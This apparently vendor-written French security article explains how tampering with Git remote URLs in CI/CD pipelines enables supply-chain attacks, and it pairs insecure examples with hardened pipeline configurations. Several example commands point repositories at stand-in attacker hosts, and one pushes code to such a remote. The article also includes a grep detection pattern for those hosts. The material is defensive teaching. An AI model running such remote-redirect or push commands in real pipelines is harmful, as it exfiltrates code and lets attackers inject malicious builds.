Le risque caché derrière une simple commande Git
Pour la plupart des développeurs, exécuter une commande comme git remote set-url origin Cela semble routinier, une simple étape supplémentaire dans la maintenance de la configuration Git. Les scripts d'intégration continue exécutent aussi couramment des commandes telles que git remote set-url, Git set url for remote ou Git remote add pour récupérer ou envoyer du code pendant les builds. Mais voici le risque : si un attaquant altère cette configuration (localement ou dans CI), il peut rediriger votre source vers un référentiel malveillant, intercepter les informations d'identification ou injecter des logiciels malveillants dans la chaîne d'approvisionnement.
Exemple de la façon dont il est généralement utilisé :
# Utilisation légitime
git remote set-url origine https://github.com/org/project.git
⚠️ Exemple non sécurisé, à des fins pédagogiques uniquement. Ne pas utiliser en production.
# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git
Version sécurisée, code PIN et vérification de l'origine du référentiel
# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.
Pourquoi ? Si l'hôte distant est basculé vers un hôte contrôlé par un attaquant, chaque requête git fetch/git push suivante pointe vers du code malveillant. Codez en dur les origines fiables lorsque cela est possible et évitez les URL dynamiques non validées.
Comment la manipulation à distance compromet la construction Pipeline
Une URL distante Git modifiée peut avoir de graves conséquences dans l'automatisation. pipelines où les scripts sont implicitement approuvés.
Exemple de scénario :
- Un script CI utilise git remote set-url pour reconfigurer les référentiels de manière dynamique.
- Une variable d'environnement compromise (par exemple, un jeton ou une URL de référentiel) est injectée dans le script.
- La build récupère ou envoie du code vers un référentiel malveillant.
- L'attaquant insère des portes dérobées ou des dépendances falsifiées.
⚠️ Exemple non sécurisé, à des fins pédagogiques uniquement. Ne pas utiliser en production.
# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
- name: Set remote
run: git remote set-url origin $REPO_URL
- name: Build and deploy
run: npm install && npm run build
Version sécurisée, validez $REPO_URL avant utilisation (liste blanche / vérification xygeni).
# ✅ CI/CD pipeline with validation guardrail
steps:
- name: Validate REPO_URL
run: |
# Educational note: never accept raw URLs without validation.
if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
echo "Untrusted repo origin: $REPO_URL" && exit 1
fi
- name: Set remote (safe)
run: git remote set-url origin "$REPO_URL"
- name: Build and deploy
run: npm ci && npm run build
Pourquoi : Validez les URL de référentiel entrantes par rapport à une liste blanche maintenue (ou utilisez xygeni verify --git-origin) avant d'agir. Cela empêche les attaquants de surcharger les variables d'environnement pour rediriger pipelines.
Détection des modifications non autorisées dans la configuration à distance
Git ne vous alerte pas lorsqu'une télécommande est modifiée. Surveillance proactive de .git/config et des contrôles d’intégrité préalables à la construction sont nécessaires.
Techniques de détection pratiques
Inspecter la configuration Git :
Comparez la sortie aux URL attendues stockées dans une ligne de base sécurisée.
Valider
.git/configintégrité:Comparez la somme de contrôle à une ligne de base fiable.
Validation basée sur le CI :
Note pédagogique : N'exécutez pas de contrôles d'intégrité ni de commandes de vérification avec des identifiants de longue durée exposés dans des journaux ou des environnements non protégés. Utilisez des identifiants éphémères et des secrets sécurisés, et évitez autant que possible d'exécuter des commandes de validation en tant qu'utilisateur privilégié.
Conseil de détection : Rechercher des télécommandes pointant vers des domaines non canoniques (inattendu) .net, .io, adresses IP), noms distants dupliqués ou variables d'environnement contrôlant les URL de dépôt sans validation. La détection précoce empêche git set-url manipulation à partir de builds contaminants.
Sécurisation des origines du référentiel avec Guardrails et validation du hachage
La prévention consiste à appliquer des contrôles stricts sur les référentiels à partir desquels vous construisez. Guardrails inclure la signature, la validation du hachage et la restriction des personnes pouvant modifier les variables CI.
Pratiques sécurisées pour l'intégrité du référentiel
Épinglez les URL du référentiel, codez en dur les origines de confiance lorsque cela est possible :
# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD
Valider les hachages du référentiel :
Vérifiez que HEAD correspond à un hachage attendu avant la construction.
⚠️ Exemple non sécurisé, impression de jetons dans les journaux (ne pas utiliser en production).
# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"
Version sécurisée, lisez les secrets du coffre-fort et n'imprimez jamais
# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.
Mini-liste de contrôle : gestion à distance sécurisée de Git
- Imposer liste blanche ou vérification d'URL à distance.
- Validez l’intégrité de .git/config avant les builds.
- Exiger une signature commits et balises.
- Limitez qui peut modifier les variables d'environnement CI.
- Enregistrez les exécutions de git remote set-url et git remote add pour l'audit.
Intégration de la validation d'URL Git Remote Set dans CI/CD Pipelines
Ajouter guardrails et une vérification automatisée pour arrêter la manipulation à distance dès le début pipeline.
Exemple de garde-fou : vérifier les télécommandes en double ou non autorisées
# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
- name: Check remotes
run: |
git remote -v > /tmp/remotes.txt
if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
echo "Unauthorized remote detected" && exit 1
fi
# Validate current origin matches expected
if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
echo "Origin verification failed" && exit 1
fi
Renforcement de la sécurité contre les altérations de la chaîne d'approvisionnement dans les environnements partagés
Les exécuteurs partagés et les commandes distantes permissives présentent un risque élevé. Évitez les commandes qui ajoutent des commandes distantes non vérifiées lors de l'exécution de la tâche.
⚠️ Exemple non sécurisé, ajout d'une télécommande d'attaquant (ne pas utiliser).
# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git
Version sécurisée, restreinte aux domaines validés et utilise –set-url uniquement pour les origines approuvées
# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
git remote add backup "$REMOTE_URL"
else
echo "Refusing to add unapproved remote" && exit 1
fi
Remarque : préférez les exécuteurs éphémères et évitez les caches partagés persistants entre les tâches.
Remarque sur les exécuteurs : utilisez des exécuteurs éphémères et isolés, recréés pour chaque tâche. Les disques ou caches partagés peuvent conserver des fichiers altérés d'une build à l'autre.
Intégration de l'URL définie par Git pour la validation à distance dans CI/CD Pipelines
La sécurisation de l'utilisation de git remote set-url ne se limite pas aux vérifications manuelles ; il s'agit d'automatisation. Les flux de travail DevSecOps modernes peuvent intégrer la validation directement dans CI/CD pipelines.
Exemple : validation automatisée de l'intégrité à distance
stages:
- validate
- build
validate-repo:
script:
- echo "Validating repository origin..."
- xygeni enforce --policy git-origin.yaml
- xygeni scan --detect-remote-tampering
Cette configuration garantit qu'avant toute exécution de build ou de déploiement, le pipeline valide :
- L'URL du référentiel correspond à la valeur attendue.
- Commit les signatures sont valides.
- Aucune télécommande inattendue n'a été ajoutée à l'aide de git add remote.
Contrôles CI supplémentaires
- Pre-commit hooks: Vérifiez qu'aucune personne non autorisée git remote définir-url les commandes existent dans commits.
- Application des politiques en tant que code : définissez les origines autorisées dans le cadre de politiques contrôlées par version.
- Mise en miroir des dépendances : extrayez le code à partir de miroirs internes vérifiés au lieu de sources Internet directes.
Automatiser ces contrôles non seulement il empêche les erreurs de configuration, mais il détecte également les tentatives de falsification de la chaîne d'approvisionnement avant même que le code ne soit expédié.
Renforcement de la sécurité contre les altérations de la chaîne d'approvisionnement dans les environnements partagés
Les exécuteurs partagés ou les environnements d'intégration continue éphémères présentent des risques supplémentaires. Lorsque plusieurs builds partagent des ressources, les commandes git remote set-url ou git add remote peuvent être utilisées pour conserver des distants malveillants entre les sessions.
Scénarios d'attaque courants
Un script de build compromis ajoute une nouvelle télécommande pour envoyer du code au référentiel d'un attaquant :
git add sauvegarde à distance https://attacker.example.com/repo.git
git push sauvegarde principale
- Un autre projet exécuté sur le même agent CI récupère les données de cet état contaminé.
- Des données sensibles telles que des jetons ou des artefacts de construction fuient via des push non autorisés.
Mesures de durcissement
- Coureurs éphémères : Réinitialiser les environnements CI après chaque build.
- Isolation du réseau : Limitez le trafic sortant aux domaines approuvés.
- Moindre Privilège : Limiter les autorisations pour les opérations Git dans pipelines.
- Signature d'artefact : Assurez-vous que toutes les sorties de build sont signées et vérifiées de manière cryptographique.
En combinant l’isolement, la validation et la surveillance, les équipes peuvent neutraliser les attaques qui exploitent git set url pour la manipulation à distance.
Valider, surveiller et automatiser la confiance dans le référentiel
Une seule erreur de git remote set-url ou de git add remote non vérifié peut rediriger silencieusement l'ensemble de votre processus de build vers un dépôt contrôlé par un attaquant. La frontière entre productivité et compromission en DevOps est plus mince que jamais, et attaques de la chaîne d'approvisionnement logicielle exploiter exactement cela.
Pour maintenir la confiance en votre pipelines:
- Valider les origines du référentiel en continu.
- Imposer commit et la signature d'artefacts.
- Automatisez des contrôles d'intégrité à chaque étape de CI/CD.
Des plates-formes comme Xygéni aidez les équipes DevSecOps à détecter les erreurs de configuration à distance, à surveiller les limites de confiance du référentiel et à bloquer les risques de la chaîne d'approvisionnement découlant d'une mauvaise utilisation de Git, avant que des télécommandes malveillantes n'aient la possibilité de déployer du code.
Faites confiance à votre flux de travail, mais vérifiez votre source. C'est ainsi que vous éviterez que git remote set-url ne devienne votre prochaine faille de sécurité.
